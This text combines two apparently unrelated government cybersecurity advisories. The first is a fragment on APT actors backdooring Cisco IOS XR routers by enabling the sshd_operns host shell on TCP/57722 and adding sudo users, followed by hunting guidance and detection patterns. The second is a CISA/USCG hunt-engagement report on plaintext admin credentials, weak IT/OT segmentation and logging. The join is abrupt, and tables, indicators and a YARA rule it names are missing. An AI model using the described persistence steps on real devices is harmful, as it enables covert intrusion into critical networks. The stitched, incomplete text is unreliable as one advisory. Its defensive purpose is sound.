tftp remote IP: [remote IP] 

Enabling SSH access to the underlying Linux host on IOS XR

Cisco IOS XR (64-bit) is a Linux-based network operating system built on a Yocto-based Wind River Linux distribution. IOS XR is typically administered via the IOS XR CLI over SSH on port TCP/22 or via console. 

The built-in sshd_operns service exposes an additional SSH endpoint on the host Linux. When enabled, it listens on TCP/57722 and provides direct shell access to the host OS. Root logins are not permitted to this service, as only non-root accounts can authenticate.

On IOS XR, sshd_operns is disabled by default and must be explicitly started (e.g., service sshd_operns start). Persistence across reboots requires enabling at init (chkconfig) or equivalent.

In observed intrusions, the APT actors enabled sshd_operns, created a local user, and granted it sudo privileges (e.g., by editing /etc/sudoers or adding a file under /etc/sudoers.d/) to obtain root on the host OS after logging in via TCP/57722. 

The commands listed in Table 2 were executed from the host Linux bash shell as root.

Threat hunting guidance

The authoring agencies encourage network defenders of critical infrastructure organizations, especially telecommunications organizations, to perform threat hunting, and, when appropriate, incident response activities. If malicious activity is suspected or confirmed, organizations should consider all mandatory reporting requirements to relevant agencies and regulators under applicable laws and regulations, and any additional voluntary reporting to appropriate agencies, such as cybersecurity or law enforcement agencies who can provide incident response guidance and assistance with mitigation. See the Contact information section for additional reporting information.

The malicious activity described in this advisory often involves persistent, long-term access to networks where the APT actors maintain several methods of access. Network defenders should exercise caution when sequencing defensive measures to maximize the chance of achieving full eviction, while remaining compliant with applicable laws, regulations, and guidance on incident response and data breach notifications in their jurisdictions. Where possible, gaining a full understanding of the APT actors’ extent of access into networks followed by simultaneous measures to remove them may be necessary to achieve a complete and lasting eviction. Partial response actions may alert the actors to an ongoing investigation and jeopardize the ability to conduct full eviction. Incident response on one network may also result in the APT actors taking measures to conceal and maintain their access on additional compromised networks, and potentially disrupt broader investigative and operational frameworks already in progress.

The APT actors often take steps to protect their established access, such as compromising mail servers or administrator devices/accounts to monitor for signs that their activity has been detected. Organizations should take steps to protect the details of their threat hunting and incident response from APT actor monitoring activities.

The authoring agencies strongly encourage organizations to conduct the following actions for threat hunting:

Monitor configurations changes

• Pull all configurations for running networking equipment and check for differences with latest authorized versions.
  • Review remote access configurations for proper application of ACL and transport protocols. Review ACLs for any unauthorized modifications.
  • If SNMP is being used, ensure networking equipment is configured to use SNMPv3 with the appropriate authentication and privacy configurations set, as defined in the User-based Security Model (USM) and the View-based Access Control Model (VACM).
  • Verify the authenticity of any configured local accounts and their permission levels.
• Check all routing tables to ensure that all routes are authorized and expected.
• Verify that any PCAP commands configured on networking equipment are authorized.

Monitor virtualized containers

• If networking equipment has the capability to run virtualized containers, ensure that all running virtualized containers are expected and authorized.
• For devices that support Cisco Guest Shell (IOS XE and NX-OS), do not rely on device syslog alone to detect actor activity. Use a combination of device syslog, AAA command accounting, container (Guest Shell) logs, and off-box flow/telemetry.
• Capture lifecycle and CLI activity with AAA accounting (TACACS+/RADIUS) for configuration/exec commands so that enable/disable and entry actions are recorded.
• For IOS XE, hunt for guestshell enable, guestshell run bash, and guestshell disable. On NX-OS, hunt for guestshell enable, run guestshell, and guestshell destroy. Alert on unexpected use of chvrf (running commands under a different VRF) and, on NX-OS, use of dohost (container invoking host CLI).

Monitor network services and tunnels

• Monitor for management services running on non-standard ports (SSH, FTP, etc.).
• Hunt for actor-favored protocol patterns:
  • SSH on high non-default ports with 22×22/xxx22 numbering patterns from non-admin source IPs.
  • HTTPS/Web UI listeners on non-default high ports (18xxx) reachable from outside the management VRF.
  • TCP/57722 (IOS XR sshd_operns) reachability or flows.
    • Hunt for TCP/57722 listeners on IOS XR platforms (the host Linux sshd_operns service). Collect flow/telemetry (NetFlow/IPFIX) from the management VRF. Any inbound TCP/57722 should be treated as high-risk if unexpected.
  • TACACS+ (TCP/49) flows to non-approved IPs or any TACACS+ traffic leaving the management VRF. Correlate with device configuration to detect redirection of TACACS+ servers to APT actor-controlled infrastructure.
  • FTP/TFTP flows originating from network devices to unapproved destinations, especially when preceded by on-box PCAP collection activity.
• Audit any tunnel that transits a security boundary, such as peering points between providers, to ensure it can be accounted for by network administrators. In particular, examine:
  • Unexplained or unexpected tunnels between Autonomous System Numbers (ASNs).
  • Unauthorized use of file transfer protocols, such as FTP and TFTP.
    • Monitor network traffic for abnormal volumes of files transfers to internal FTP servers, which the APT actors may use as staging areas prior to data exfiltration.
  • Extensive SSH activity against routers, followed by the establishment of both an incoming tunnel and outgoing tunnel—each of which may leverage different protocols.

Monitor firmware and software integrity

• Perform hash verification on firmware and compare values against the vendor’s database to detect unauthorized modification to the firmware. Ensure that the firmware version is as expected.
• Compare hashes of images both on disk and in memory against known-good values. Reference the Network Device Integrity (NDI) Methodology or Network Device Integrity (NDI) on Cisco IOS Devices for more information.
• Use the product’s run-time memory validation or integrity verification tool to identify any changes to the run-time firmware image.
• Where supported by the platform, enable image and configuration integrity features, such as signed image enforcement and secure configuration checkpoints. Alert on any boot-time or run-time verification failure.
• Check any available file directories that may exist (flash, non-volatile random-access memory [NVRAM], system, etc.) for non-standard files.

Monitor logs

• Review logs forwarded from network devices for indications of potential malicious behavior, such as:
  • Evidence of clearing locally stored logs,
  • Disabling log creation or log forwarding,
  • Starting a PCAP recording process using available functions,
  • Allowing remote access via non-standard methods or to new locations, and
  • Changes to configuration of devices via non-standard methods or from unexpected locations.
• Alert on creation/start of any on-box packet capture (e.g., monitor capture ... start, Embedded Packet Capture) or SPAN/RSPAN/ERSPAN session definitions, especially those matching TACACS+ (TCP/49) or RADIUS.
• Inventory and continuously watch monitor session ... (SPAN/ERSPAN) and PCAP state. Naming patterns include mycap and output filenames like mycap.pcap, tac.pcap, and 1.pcap.
• Where supported, deploy embedded event triggers (e.g., EEM on IOS XE/NX-OS) to syslog any invocation of packet-capture or span/erspan configuration commands, capturing the invoking username and source.
• Audit for non-root local accounts granted sudo on XR host Linux (e.g., via /etc/sudoers or /etc/sudoers.d/). Where supported, ensure the host operating system (OS) sshd_operns service is disabled and not listening. Validate at each reboot and device upgrade.
• Alert on config or telemetry indicating new XR host OS services, changes to systemd service states, or unexpected privilege escalations on the host OS.
• Analyze internal FTP Server logs for any logins from unexpected sources.
• Monitor network traffic for logons from one router to another router, as this should not be typical of normal router administration processes.

If unauthorized activities are discovered, coordinate containment sequencing before disabling to avoid tipping active APT operators. Capture live artifacts (process lists, bound sockets, on-box files), then eradicate.

See the Contact information section of this advisory for response actions that should be taken if malicious activity is confirmed.

Indicators of compromise

IP-based indicators

The following IP indicators were associated with the APT actors’ activity from August 2021 to June 2025. Disclaimer: Several of these observed IP addresses were first observed as early as August 2021 and may no longer be in use by the APT actors. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.

 Custom SFTP client

The APT actors also use a custom SFTP client, which is a Linux binary written in Golang, to transfer encrypted archives from one location to another. 

The following SFTP client binaries in Table 4 through Table 7 are similar in that they are used to transfer files from a compromised network to staging hosts where the files are prepared for exfiltration. However, cmd1 has the additional capability of collecting network packet captures on the compromised network. Note: The cmd3 and cmd1 clients were likely written by the same developer since they have similar build path strings and code structure.

Cmd1 SFTP client Yara rule 

Source: US-CERT Alerts

Summary

The Cybersecurity and Infrastructure Security Agency (CISA) and U.S. Coast Guard (USCG) are issuing this Cybersecurity Advisory to present findings from a recent CISA and USCG hunt engagement. The purpose of this advisory is to highlight identified cybersecurity issues, thereby informing security defenders in other organizations of potential similar issues and encouraging them to take proactive measures to enhance their cybersecurity posture. This advisory has been coordinated with the organization involved in the hunt engagement.

CISA led a proactive hunt engagement at a U.S. critical infrastructure organization with the support of USCG analysts. During hunts, CISA proactively searches for evidence of malicious activity or malicious cyber actor presence on customer networks. The organization invited CISA to conduct a proactive hunt to determine if an actor had been present in the organization’s environment. (Note: Henceforth, unless otherwise defined, “CISA” is used in this advisory to refer to the hunt team as an umbrella for both CISA and USCG analysts).

During this engagement, CISA did not identify evidence of malicious cyber activity or actor presence on the organization’s network, but did identify cybersecurity risks, including:

• Insufficient logging;
• Insecurely stored credentials;
• Shared local administrator (admin) credentials across many workstations;
• Unrestricted remote access for local admin accounts;
• Insufficient network segmentation configuration between IT and operational technology (OT) assets; and
• Several device misconfigurations.

In coordination with the organization where the hunt was conducted, CISA and USCG are sharing cybersecurity risk findings and associated mitigations to assist other critical infrastructure organizations with improving their cybersecurity posture. Recommendations are listed for each of CISA’s findings, as well as general practices to strengthen cybersecurity for OT environments. These mitigations align with CISA and the National Institute for Standards and Technology’s (NIST) Cross-Sector Cybersecurity Performance Goals (CPGs), and with mitigations provided in the USCG Cyber Command’s (CGCYBER) 2024 Cyber Trends and Insights in the Marine Environment (CTIME) Report.

Although no malicious activity was identified during this engagement, critical infrastructure organizations are advised to review and implement the mitigations listed in this advisory to prevent potential compromises and better protect our national infrastructure. These mitigations include the following (listed in order of importance):

• Do not store passwords or credentials in plaintext. Instead, use secure password and credential management solutions such as encrypted password vaults, managed service accounts, or built-in secure features of deployment tools.
  • Ensure that all credentials are encrypted both at rest and in transit. Implement strict access controls and regular audits to securely manage scripts or tools accessing credentials.
  • Use code reviews and automated scanning tools to detect and eliminate any instances of plaintext credentials on hosts or workstations.
  • Enforce the principle of least privilege, only granting users and processes the access necessary to perform their functions.
• Avoid sharing local administrator account credentials. Instead, provision unique, complex passwords for each account using tools like Microsoft’s Local Administrator Password Solution (LAPS) that automate password management and rotation.
• Enforce multifactor authentication (MFA) for all administrative access, including local and domain accounts, and for remote access methods such as Remote Desktop Protocol (RDP) and virtual private network (VPN) connections.
• Implement and enforce strict policies to only use hardened bastion hosts isolated from IT networks equipped with phishing-resistant MFA to access industrial control systems (ICS)/OT networks, and ensure regular workstations (i.e., workstations used for accessing IT networks and applications) cannot be used to access ICS/OT networks.
• Implement comprehensive (i.e., large coverage) and detailed logging across all systems, including workstations, servers, network devices, and security appliances.
  • Ensure logs capture information such as authentication attempts, command-line executions with arguments, and network connections.
  • Retain logs for an appropriate period to enable thorough historical analysis (adhering to organizational policies and compliance requirements) and aggregate logs in an out-of-band, centralized location, such as a security information event management (SIEM) tool, to protect them from tampering and facilitate efficient analysis.

For more detailed mitigations addressing the identified cybersecurity risks, see the Mitigations section of this advisory.

Download the PDF version of this report:

Technical Details

Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 17. See Appendix: MITRE ATT&CK Tactics and Techniques for a table of potential activity mapped to MITRE ATT&CK tactics and techniques.

Overview

Cybersecurity and Infrastructure Security Agency (CISA) and United States Coast Guard (USCG) analysts (collectively referred to as CISA in this report) conducted a threat hunt engagement at a critical infrastructure organization. During this hunt, CISA proactively searched for evidence of malicious activity or the presence of a malicious cyber actor on the customer’s network using host, network, industrial control system (ICS), and commercial cloud and open-source analysis tools. CISA searched for evidence of activity by looking for specific exploitation tactics, techniques, and procedures (TTPs) and associated artifacts.

While CISA did not find evidence of threat actor presence on the organization’s network, the team did identify several cybersecurity risks. These findings are listed below in order of risk. Technical details of each identified cyber risk are included, along with the potential impact from threat actor exploitation of each risk (recommendations for mitigating each risk are listed in the Mitigations section below).

Several of these findings align with those observed during similar engagements conducted by US Coast Guard Cyber Command (CGCYBER), which are documented in their 2024 Cyber Trends and Insights in the Marine Environment (CTIME) report. The authoring agencies encourage critical infrastructure organizations to review the CTIME report to understand trends in the techniques/attack paths threat actors are using to compromise at-risk organizations, and what mitigations organizations should implement to prevent a successful attack.

Key Findings

Shared Local Admin Accounts with Non-Unique Passwords Stored as Plaintext

Details: CISA identified a few local admin accounts with non-unique passwords; these accounts were shared across many hosts. The credentials for each account were stored plaintext in batch scripts. CISA discovered these authorized scripts were configured to create user accounts with local admin privileges and then set identical, non-expiring passwords—these passwords were stored in plaintext in the script. One script was configured to create an admin account (set with a password stored in the script in plaintext) and automatically add to the admin group. The account was set as the local admin account on many other hosts.

Potential Impact: The storage of local admin credentials in plaintext scripts across numerous hosts increases the risk of widespread unauthorized access, and the usage of non-unique passwords facilitates lateral movement throughout the network. Malicious actors with access to workstations with either of these batch scripts could obtain the passwords for these local admin accounts by searching the filesystem for strings like net user /add, identifying scripts containing usernames and passwords [T1552.001], and accessing these accounts to move laterally.

For example, during a controlled security validation exercise (with explicit permission from the customer), CISA used the credentials found in one of the scripts to log into its associated admin account locally on a workstation [T1078.003], and then establish a Remote Desktop Protocol (RDP) connection to another workstation [T1021.001]. This demonstrated that the credentials allowed local login to an admin account and enabled lateral movement to any workstation with the account. While using this account, the user had local admin privileges on many workstations. Upon initiating the RDP session, the system issued out a notification that another user was currently logged in and that continuing the session would disconnect the existing user, confirming that the account can be accessed remotely via RDP.

The uniform use of local admin accounts with identical, non-expiring passwords across numerous hosts, coupled with the storage of these credentials in plaintext within accessible scripts, elevates the risk of unauthorized access and lateral movement throughout the network.

With local admin access, malicious cyber actors can:

• Modify existing accounts or create new accounts [T1098], potentially escalating privileges or maintaining persistent access.
• Install malicious browser extensions on compromised systems [T1112].
• Communicate with compromised systems using standard application layer protocols [T1071], which may bypass certain security monitoring tools.
• Modify local policies to escalate privileges or disable security features [T1484].
• Alter system configurations or install software that executes at startup [T1547], ensuring continued access and persistence.
• Hijack the execution flow of applications to inject malicious code [T1574].

The widespread distribution of plaintext credentials and the use of identical passwords across hosts increases the risk of unauthorized access throughout the network. This vulnerability heightens the potential for attackers to conduct unauthorized activities, which may impact the confidentiality, integrity, and availability of the organization’s assets.

Note: This finding was associated with workstations only; servers and other devices were not affected.

Insufficient Network Segmentation Configuration Between IT and Operational Technology Environments

Details: While assessing interconnectivity between the customer’s IT and operational technology (OT) environments, CISA identified that the OT environment was not properly configured. Specifically, standard user accounts could directly access the supervisory control and data acquisition (SCADA) virtual local area network (VLAN) directly from IT hosts.

First, CISA determined it was possible to establish a connection via port 21 from a user workstation in the IT network to a system within the SCADA VLAN. The test established that a network path was available, the remote host was reachable, the port was open and listening for connections, and that the port was directly accessible between the IT and SCADA VLANs, with misconfigured network-level restrictions—for example, firewalls or access control lists (ACLs)—blocking the Transmission Control Protocol (TCP) connection on the port. This test was conducted using a standard user account on a regular IT workstation without administrative privileges [T1078].

Second, CISA discovered that the customer did not have sufficient secured bastion hosts dedicated for accessing SCADA and heating, ventilation, and air conditioning (HVAC) systems. A bastion host­—sometimes referred to as a jump box or jump server—is a specialized, highly secured system (often a server or dedicated workstation) that serves as the sole access point between a network segment (such as an internal IT network) and a protected internal network (like an OT or ICS environment). By inspecting and filtering all inbound and outbound traffic, a bastion host is designed to prevent unauthorized access and lateral movement, ensuring that only authenticated and authorized users can interact with internal systems. Though several hosts were designated as bastion hosts for remote access to SCADA and HVAC systems, they lacked the enhanced security configuration, dedicated monitoring, and specialized scrutiny expected of bastion hosts.

Potential Impact: Insufficient OT network segmentation configuration, network access control (NAC), and the ability of a non-privileged user within the IT network to use their credentials to access the critical SCADA VLAN [T1078] presents a security and safety risk. Given that SCADA and HVAC systems control physical processes, compromises of these systems can have real-world consequences, including risks to personnel safety, infrastructure integrity, and equipment functionality.

Malicious actors could further exploit potentially unsecured workstations with access to OT systems, and insufficient network segmentation configuration between IT and OT systems, in the following ways:

• Use RDP or Secure Shell (SSH) protocols to move laterally from compromised IT workstations to OT systems [T1021.001] [T1021.004].
• Execute commands and scripts using scripting languages like PowerShell to attack OT systems [T1059].
• Map network connections to identify paths to OT systems [T1049].
• Gather information about network configurations to plan attacks on OT systems [T1016].

By exploiting these weaknesses, attackers can potentially gain unauthorized access to critical OT systems, manipulate physical processes, disrupt operations, and cause harm.

Insufficient Log Retention and Implementation

Details: CISA was unable to hunt for every MITRE ATT&CK^® procedure in the scoped hunt plan partly because the organization’s event logging system was insufficient for this analysis. For example, Windows event logs from workstations were not being forwarded to the organization’s security information event management (SIEM), verbose command line auditing was not enabled (meaning command line arguments were not being captured in Event ID 4688), logging in the SIEM was not as comprehensive as required for the analysis, and log retention did not allow for a thorough analysis of historical activity.

Potential Impact: The absence of comprehensive and detailed logs, along with a lack of an established baseline for normal network behavior, prevented CISA from performing thorough behavior and anomaly-based detection. This limitation hindered the ability to hunt for certain TTPs, such as living-off-the-land techniques, the use of valid accounts [T1078], and other TTPs used by sophisticated threat actors. Such techniques often do not produce discrete indicators of compromise or trigger alerts from antivirus software, intrusion detection systems (IDS), or endpoint detection and response (EDR) solutions. Further, the lack of workstation logs in the organization’s SIEM meant CISA could not analyze authentication events to identify anomalous activities, such as unauthorized access using local administrator credentials. This gap exposes networks to undetected lateral movement and unauthorized access.

Insufficient logging can prevent the detection of malicious activity by hindering investigations, which makes detection of threat actors more challenging and leaves the network susceptible to undetected threats.

Additional Findings

Misconfigured sslFlags on a Production Server

Details: CISA used PowerShell to examine the ApplicationHost.config file^[1]—a central configuration file for Internet Information Services (IIS) that governs the behavior of the web server and its applications and websites—on a production IIS server. CISA observed an HTTPS binding configured with sslFlags==“0”, which keeps IIS in its legacy “one-certificate-per-IP” mode. This mode disables modern certificate-management features, and because mutual Transport Layer Security (TLS) (client-certificate authentication) must be enabled separately in “SSL Settings” or by adding <access sslFlags=“Ssl, SslRequireCert” />, the binding leaves the client-certificate enforcement off by default, allowing any TLS client to complete the handshake anonymously. Moreover, sslFlags does not control protocol or cipher selection, so outdated protocols or weak cipher suites (e.g., SSL 3.0, TLS 1.0/1.1) may still be accepted unless Secure Channel (Schannel)^[2] has been explicitly hardened.

Potential Impact: The misconfigured sslFlags could enable threat actors to attempt an adversary-in-the-middle attack [T1557] to intercept credentials and data transmitted between clients and the IIS server. Malicious actors could also exploit vulnerabilities in older Secure Sockets Layer (SSL)/TLS protocols, as well as weak cipher suites, increasing the risk for protocol downgrade attacks in which an attacker forces the server and client to negotiate the use of weaker encryption standards [T1562.010]. This compromises the confidentiality and integrity of data transmitted over this channel. Furthermore, the absence of client certificate enforcement meant the server did not validate the identity of the connecting clients beyond the basic SSL/TLS handshake. This deficiency exposed the server to risks where unauthorized or malicious clients could impersonate legitimate users, potentially gaining access to sensitive resources without proper verification.

Misconfigured Structured Query Language Connections on a Production Server

Details: CISA reviewed machine.config file on a production server and identified that it was configured with a centralized database connection string, LocalSqlServer, for both profile and role providers. This configuration implies that, unless overridden in each application’s web.config files, every ASP.NET site on the server connects to the same Structured Query Language (SQL) Express or aspnetdb database and shares the same credentials context.

Additionally, CISA identified that the machine.config file set the minRequiredPasswordLength to be less than 15 characters, which is CISA’s recommended password length.

Potential Impact: Using a centralized database approach increases risk, as a single breach or misconfiguration in this central SQL database server can compromise all applications dependent on the server. This creates a single point of failure and could be exploited by attackers aiming to gain broad access to the system.

Additionally, setting the minimum password length to any password under 15 characters is more vulnerable to various forms of brute-force attacks, such as password guessing [T1110.001], cracking [T1110.002], spraying [T1110.003], and credential stuffing [T1110.004]. If a threat actor successfully cracked these weak passwords, they could gain unauthorized access to user or application accounts and leverage vulnerabilities within applications to further escalate privileges, potentially leading to unauthorized access to the backend SQL Server databases. This could result in data breaches, data manipulation, or a loss of database integrity.

Mitigations

CISA and USCG recommend that critical infrastructure organizations implement the mitigations below to improve their organization’s cybersecurity posture. Recommendations to reduce cyber risk are listed for each of CISA’s findings during this engagement and are ordered starting from the highest to lowest importance for organizations to implement. CISA and USCG also include general practices to strengthen cybersecurity for OT environments that are not tied to specific findings.

These mitigations align with the Cross-Sector Cybersecurity Performance Goals jointly developed by CISA and the National Institute for Standards and Technology (NIST). The Cybersecurity Performance Goals (CPGs) provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful TTPs. Visit CISA’s CPGs webpage for more information.

Many of these mitigations also align with recommendations made by CGCYBER in their 2024 CTIME report. The report provides relevant information and lessons learned about cybersecurity risks gathered through operations similar to this threat hunt engagement, and best practices to mitigate these risks. Please see the 2024 CTIME report for additional recommendations for critical infrastructure organizations to implement to harden their environments against malicious activity.

Implement Unique Credentials and Access Control Measures for Administrator Accounts

• Provision unique and complex credentials for local administrator accounts [CPG 2.C] on all systems. Do not use shared or identical administrative credentials across systems. Ensure service accounts/machine accounts have passwords unique from all member user accounts.
  • For example, organizations can deploy Microsoft LAPS (see Microsoft Learn’s Windows LAPS Overview for more information) to ensure each machine has a unique, complex local administrator password; passwords are rotated automatically within Microsoft Active Directory, reducing the window of vulnerability; and that password retrieval is limited to authorized personnel only.
• Require phishing-resistant multifactor authentication (MFA) [CPG 2.H] in addition to unique passwords for all administrative access, including local- and domain-level administrator accounts, RDP sessions, and VPN connections.
• Use privileged access workstations (PAWs) dedicated solely for administrative tasks and isolate them from the internet and general network to reduce exposure to threats and lateral movement.
  • Harden PAWs by applying CIS Benchmarks: limit software to essential administrative functions, disable unnecessary services and ports, and ensure regular updates and patches.
  • Enforce strict access controls to restrict PAW access to authorized administrators only.
• Conduct continuous auditing of privileged accounts by regularly collecting and analyzing logs of administrative activities, such as login attempts, command executions, and configuration changes [CPG 2.T].
  • Configure automated alerts for anomalous behaviors, including logins outside standard hours, access from unauthorized locations, and repeated failed logins.
  • Periodically review all administrator accounts to confirm the necessity and appropriateness of access levels; align these auditing practices with NIST SP 800-53 Rev. 5 Controls AU-2 (Auditable Events) and AU-12 (Audit Record Generation).
• Apply the principle of least privilege by limiting administrative privileges to the minimum required for users to perform their roles [CPG 2.E].
  • Create individual administrative accounts with unique credentials and role-specific permissions and disable or rename built-in local administrator accounts to reduce common attack vectors.
  • Avoid using shared administrator accounts to improve accountability and auditability, and ensure administrators use standard accounts for non-administrative tasks to minimize credential exposure.
  • Implement Role-Based Access Control (RBAC) to assign permissions based on job functions, as aligned with NIST SP 800-53 Rev. 5 Control AC-5 (Separation of Duties).
• Identify and remove unauthorized or unnecessary local administrator accounts, maintain oversight by documenting and tracking all authorized accounts, and enforce strict account management policies by restricting account creation privileges and implementing approval workflows for new administrator accounts.

Securely Store and Manage Credentials

• Purge credentials from the System Center Configuration Manager (SCCM). Review SCCM packages, task sequences, and scripts to ensure that no plaintext credentials are embedded, and update or remove any configurations that deploy scripts with plaintext credentials.
• Do not store plaintext credentials in scripts. Instead, store credentials in a secure manner, such as with a credential/password manager or vault, or other privileged account management solution [CPG 2.L].
  • Leverage SCCM’s built-in capabilities to run tasks with administrative privileges without exposing credentials (for further guidance, refer to Microsoft’s best practices for secure SCCM configuration).
• Use encrypted communication. If scripts must retrieve credentials at runtime, use encrypted channels and protocols (e.g., TLS 1.3) to communicate with secure credential stores. Ensure that credentials are not written to disk or exposed in logs.
• Use unique local administrator passwords, such as by deploying Microsoft LAPS. Set appropriate permissions on Active Directory attributes used by LAPS (ms-MCS-AdmPwd and ms-MCS-AdmPwdExpirationTime) per Microsoft’s security recommendations.

Establish Network Segmentation Between IT and OT Environments

• Assess the existing network architecture to ensure effective segmentation between the IT and OT networks [CPG 2.F]—this process should evaluate both logical and physical segmentation, ensuring clear boundaries between IT and OT assets.
  • Use NIST SP 800-82 Rev. 3 (Guide to OT Security) and International Electrotechnical Commission (IEC) 62443 standards as guides for network segmentation best practices.
  • Network segmentation is essential for containing breaches within isolated segments and preventing them from spreading across networks. Depending on your environment, consider implementing the following segmentation:
    • Implement VLAN segmentation with inter-VLAN access controls.
    • Create separate VLANs for IT and OT systems, specifically isolating OT components such as SCADA systems from IT network VLANs.
    • Configure inter-VLAN access controls, including Layer 3 ACLs, to restrict traffic between IT and SCADA VLANs.
    • Deploy firewalls with application-layer filtering capabilities to monitor and control data flow between the VLANs, ensuring that only authorized protocols and devices can communicate across segments.
• Implement a demilitarized zone (DMZ) between IT and OT environments to provide an additional security layer.
  • Position firewalls at both the IT-DMZ and OT-DMZ boundaries to filter traffic and enforce strict communication policies.
  • Configure the DMZ to act as an intermediary, with only essential communications permitted between IT and OT networks.
  • Ensure the DMZ hosts shared services (e.g., bastion hosts, jump servers, or data historians) that require limited interaction with both environments, with access controls and monitoring in place.
• Consider a full network re-architecture if current segmentation methods cannot effectively separate IT and OT networks.
  • Collaborate with cybersecurity and network experts to design an architecture that meets ICS-specific security requirements—this redesign may involve transitioning to a micro-segmented or zero trust architecture, which includes strict identity verification for all users and devices attempting to access OT assets.^[3]
• Implement unidirectional gateways (data diodes) where appropriate to prevent bidirectional communication.
• Keep network diagrams, configuration files, and asset inventories up to date.
• Regularly test segmentation controls to validate their effectiveness in restricting unauthorized access by conducting penetration testing and security assessments.
  • Include simulated breach scenarios to confirm that segmentation contains threats within isolated zones.
  • Ensure compliance with NIST SP 800-53 Rev. 5 Control AC-4 (Information Flow Enforcement) to align segmentation measures with best practices for controlled information flow.

Prevent Unauthorized Access via Port 21

• Disable File Transfer Protocol (FTP) services on SCADA devices and servers if they are not required. Replace FTP with secure alternatives, such as SSH FTP (SFTP) or FTP over TLS/SSL (FTPS).
• Block inbound and outbound FTP traffic on port 21 using firewalls and ACLs.
  • Implement restrictive ACL policies at network boundaries to control FTP access across all network layers.
  • As outlined in CIS Control 9.2 (Limit Unnecessary Ports, Protocols, and Services), close any unused ports to strengthen network defenses.
• Implement IDS/Intrusion Prevention System (IPS) technologies to monitor traffic between the IT network and SCADA VLAN, use signature and anomaly detection, and integrate IDS/IPS with a SIEM system for centralized monitoring.
• Enhance authentication and encryption mechanisms. Require MFA for SCADA access, use secure remote access technologies when necessary, securely encrypt communications (using protocols such as TLS 1.2 or higher, preferably TLS 1.3), and establish VPN tunnels to communicate between IT networks and SCADA systems.
• Perform network traffic filtering and deep packet inspection.
  • Use SCADA-aware firewalls capable of understanding SCADA protocols and inspecting and filtering traffic at the application layer.
  • Only allowlist authorized protocols and command structures to SCADA operations. Use one-way communication devices to prevent data from flowing back into the SCADA network.

Establish Secure Bastion Hosts for OT Network Access

• Ensure bastion hosts are dedicated secure access points exclusively used to access the OT network and deployed as exclusive management gateways for all devices within a network.
  • Make bastion hosts the single access points for conducting all administrative tasks, system management, and configuration changes; this centralizes access control and ensures any interaction with the OT system passes through a rigorously monitored and secure environment, minimizing the potential for unauthorized access.
• Do not allow staff to use bastion hosts as regular workstations.
  • Provide staff with separate workstations for accessing email, internet browsing, etc., on the IT network.
  • Establish and enforce policies that prohibit non-administrative activities on bastion hosts, ensuring they remain dedicated to OT network access.
• Regularly audit and monitor bastion hosts to maintain security integrity, prevent unauthorized use, and quickly address any vulnerabilities or policy non-compliance.
• Configure comprehensive logging of all activities on bastion hosts, including authentication attempts, command executions, configuration changes, and file transfers. Aggregate logs into a SIEM.
• Isolate bastion hosts from the IT network; bastion hosts should reside in a separate security zone with restricted communication pathways (see CISA’s infographic on Layering Network Security Through Segmentation).
  • Deploy bastion hosts in a DMZ, imposing physical and logical isolation from other networks.
  • Configure firewalls between the IT network, bastion hosts, and the OT network, enforcing strict access control policies to allow only necessary traffic.
• Ensure secure configuration and hardening of bastion hosts: Comply with NIST SP 800-123 and CIS Benchmarks and CNSSI 4009-2015, remove nonessential applications and services to reduce the attack surface, configure system settings to be secure, conduct effective patch management, enforce the principle of least functionality, and disable unused ports and protocols.
• Implement access control policies: remove any access permissions to the OT network from IT workstations and ensure only bastion hosts have access to the OT network.
  • Implement NAC solutions to enforce policy-driven access control decisions based on device compliance and user authentication to provide dynamic access control and real-time visibility into the devices on the network.
• Equip each bastion host with robust authentication mechanisms, including phishing resistant MFA [CPG 2.H], to verify the identity of users accessing the network.
  • Align with AAL3 as defined in NIST SP 800-63B. AAL3 requires hardware-based authenticators and proof of possession of cryptographic keys through secure authentication protocols.
• Implement stringent access controls that restrict access to authorized personnel only using RBAC principles, ensuring that personnel can only access information and perform tasks pertinent to their roles and duties. This reduces the risk of internal threats or lateral movement and prevents unauthorized access.
• Securely configure remote access tools, including by using secure protocols and disabling remote access tools on IT workstations to the OT network, enforcing that all remote access occurs through bastion hosts.
  • Disable insecure protocols like Telnet and unencrypted VNC to prevent interception and unauthorized access.
  • Log all remote access sessions and monitor for unauthorized or anomalous activities.

Implement Comprehensive Logging, Log Retention, and Analysis

• Implement comprehensive and verbose (i.e., detailed) logging across all systems, including workstations, servers, network devices, and security appliances [CPG 2.T].
  • Enable logging of critical events such as authentication attempts, command-line executions with command arguments (Event ID 4688), and network connections.
• Aggregate logs in an out-of-band, centralized location [CPG 2.U] where adversaries cannot tamper with them, such as a dedicated SIEM, in order to facilitate behavior analytics, anomaly detection, and proactive threat hunting [CPG 2.T, 2.U]. For more information on behavior- and anomaly-based detection techniques, see joint guidance Identifying and Mitigating Living off the Land.
• Ensure comprehensive logging on bastion hosts for all activities. Capture detailed records of login attempts [CPG 2.G], commands executed (with command arguments enabled), configurations changed, and files transferred.
  • Integrate bastion hosts with a centralized SIEM (NIST SP 800-137).
• Continuously monitor logs for early detection of anomalous activities. Configure the SIEM to generate automatic alerts for suspicious activity and implement behavior analysis techniques to detect anomalies.
• Securely store log backups and use tamper resistant storage [CPG 2.U] to prevent a threat actor from altering or purging logs to conceal malicious activity.

For additional guidance on logging, see joint guidance Best Practices for Event Logging and Threat Detection.

Securely Configure HTTPS Bindings and LocalSqlServer Connection String

• Enforce both client certificate verification and secure renegotiation in IIS by configuring the sslFlags setting to “3” in the ApplicationHost.config file. Setting sslFlags=“3” requires clients to present valid X.509 certificates for authentication and implements the TLS Renegotiation Indication Extension (RFC 5746). To implement this, perform the following steps:
  • Locate the <binding> element for the HTTPS site within ApplicationHost.config.
  • Set the sslFlags attribute to “3”: <binding protocol=“https” bindingInformation=“*:443:” sslFlags=“3” />.
  • Restart IIS to apply the changes: iisreset.
• Restrict the server to use only secure and up-to-date SSL/TLS protocols and cipher suites.
  • Disable deprecated protocols like SSL 2.0, SSL 3.0, TLS 1.0, and TLS 1.1 to prevent protocol downgrade attacks that compromise the confidentiality and integrity of data.
• Override the global settings in machine.config by modifying each application’s web.config file to define its own connection strings and providers. This isolates applications at the database level and allows for tailored security configurations for each application.
• Create dedicated SQL Server database accounts for each application with permissions limited to necessary operations (e.g., SELECT, INSERT, UPDATE), and avoid granting excessive privileges.
